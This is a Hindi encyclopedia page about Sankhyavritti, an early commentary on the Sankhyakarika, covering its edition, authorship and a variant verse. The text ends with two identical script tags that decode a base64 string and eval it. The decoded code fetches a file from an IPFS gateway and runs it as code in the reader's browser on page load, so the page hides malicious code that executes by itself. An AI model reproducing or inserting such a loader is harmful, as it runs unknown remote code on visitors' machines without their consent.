सांख्यवृत्ति
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 07:50, 30 अप्रैल 2012 का अवतरण
सांख्यवृत्ति सांख्यकारिका की वृत्ति है। इसका प्रकाशन सन 1973 ई. में 'गुजरात विश्वविद्यालय' द्वारा किया गया था। इसके सम्पादनकर्ता ई.ए. सोलोमन थे।
- सोलोमन के अनुसार यह सांख्यकारिका की प्राचीनतम टीका है।
- सांख्यवृत्ति के रचयिता का नामोल्लेख नहीं किया गया है।
- सोलोमन के अनुसार यह संभवत: स्वयं कारिकाकार ईश्वरकृष्ण की रचना है और परमार्थ कृत चीनी अनुवाद का यह आधार रहा है।
- परमार्थ कृत चीनी भाषा के अनुवाद में 63वीं कारिका नहीं पाई जाती, जबकि सांख्यवृत्ति में यह कारिका भाष्य सहित उपलब्ध है।
- सांख्यवृत्ति में 71वीं कारिका तक ही भाष्य किया गया है।
- 27वीं कारिका प्रचलित कारिका जैसी न होकर इस प्रकार है-
संकल्पमत्र मनस्तच्चेन्द्रियमुभयथा समाख्यातम्।
अन्तस्त्रिकालविषयं तस्मादुभयप्रचारं तत्॥
- ऐसा ही रूप युक्तिदीपिका में भी है।
- सांख्यवृत्ति का संभावित रचनाकाल ईसा की 6वीं शताब्दी है।
|
|
|
|
|
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>